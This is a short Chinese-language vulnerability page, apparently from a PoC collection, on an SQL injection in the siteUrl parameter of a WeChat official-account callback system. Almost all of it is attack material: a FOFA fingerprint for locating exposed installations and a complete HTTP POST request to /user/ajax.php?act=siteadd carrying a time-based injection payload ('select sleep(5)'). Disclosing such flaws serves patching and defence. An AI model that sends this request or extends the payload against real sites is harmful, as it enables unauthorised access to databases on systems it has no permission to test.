36 lines
1.2 KiB
Markdown
36 lines
1.2 KiB
Markdown
# 公众号无限回调系统接口siteUrl存在SQL注入漏洞
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**微信公众平台无限回调系统是一个适用于H5游戏，H5网站，一切需要公众号登录接口的H5网站，且附带登录注册功能，接口/includes/class/user.class.php GetUrl方法存在SQL注入漏洞 **
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## fofa
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```yaml
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"mb-5 web-font-desc"
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```
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## poc
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```yaml
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POST /user/ajax.php?act=siteadd HTTP/1.1
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Host: 127.0.0.1
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Cache-Control: max-age=0
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sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
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sec-ch-ua-mobile: ?0
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sec-ch-ua-platform: "Windows"
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
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Content-Type: application/x-www-form-urlencoded
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: none
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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Content-Length: 27
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siteUrl=';select sleep(5)#'
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```
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